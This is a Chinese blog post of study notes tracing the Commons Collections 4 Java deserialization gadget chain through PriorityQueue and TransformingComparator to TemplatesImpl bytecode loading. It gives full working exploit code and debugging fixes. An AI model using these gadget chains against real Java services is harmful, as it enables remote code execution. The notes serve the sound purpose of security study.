环境
其它的和前面一样,只不过Commons-Collections 依赖变为了4.0
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
链子分析
在CC4上尾部的命令执行没有什么变化反射或者动态加载字节码,改变的是CC4去掉了 InvokerTransformer 的 Serializable 继承,那么InvokerTransformer用不了了就要找谁调用了transform()
随便用个类然后find usages transform()
这里最终找的是TransformingComparator
类中的compare
方法调用了transform()
compare
方法在Java中也是常用的,用于两个对象的大小比较,继续往前找看谁调用了这个方法,但是这里直接find usages找不到,看组长视频说得对开发比较熟悉,开发我是一点不熟啊,难受,最后直接给出了PriorityQueue
类用于优先队列的操作,在这个类中调用了compare
方法
然后继续往上找找到了这个类中的readObject方法
那么其实到这里可以看到入口类就变了,链子到这里就结束了,接下来编写EXP
EXP编写
先把后面的动态类加载命令执行写出来,和CC3一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class CC4Dome { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers= new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1); }
|
测试成功
然后就是放弃InvokerTransformer
转用TransformingComparator
类的 compare()
方法,再用PriorityQueue类当入口去调用,然后对PriorityQueue序列化,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4Dome { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers= new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); serialize(priorityQueue); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
但是这里弹出计算器失败说明中间出了问题,debug一下,断点如下
问题出在下面
调试发现并没有进入siftDown
方法,而我们要求就是要进入,寻找一下原因
1
| for (int i = (size >>> 1) - 1; i >= 0; i--)
|
当代码走到这里的时候size为0,当size为1的时候右移1位还是0
当size为2即可得到1进入for循环,而这个size就是队列的长度,那么我往这个队列里面加点东西就行了
1 2
| priorityQueue.add(1); priorityQueue.add(2);
|
此时弹出计算器了,但是这里报错,当我把序列化与反序列化注释之后还是弹了计算器
说明这个计算器弹的和序列化没关系,问题就出在了这个priorityQueue.add(1);
跟进去看一下
发现这个add直接会进入到compare方法,直接就在本地执行了没玩的了,所以得避免本地执行
报错的原因其实是CC3里的_tfactory
值,都忘了这是干嘛的了,在前面的exp中少了一句templates.newTransformer();
导致报错加上就行了如下
1 2 3 4
| Field tfactory = tclass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer();
|
但其实这里根本没啥关系,本来就不想让它在本地执行,解决add的问题和前面CC1(好像是不记得了)一样把transformingComparator
的值改为一个无关的对象,在 add 完之后再用反射修改回来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC4Dome { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); Field tfactory = tclass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers= new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = transformingComparator.getClass(); Field transformField = c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator, chainedTransformer);
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
流程图
感觉CC4学的挺轻松的,不过前面的有些东西忘记了,还是要多总结,流程图如下,直接画在一堆了不单独画了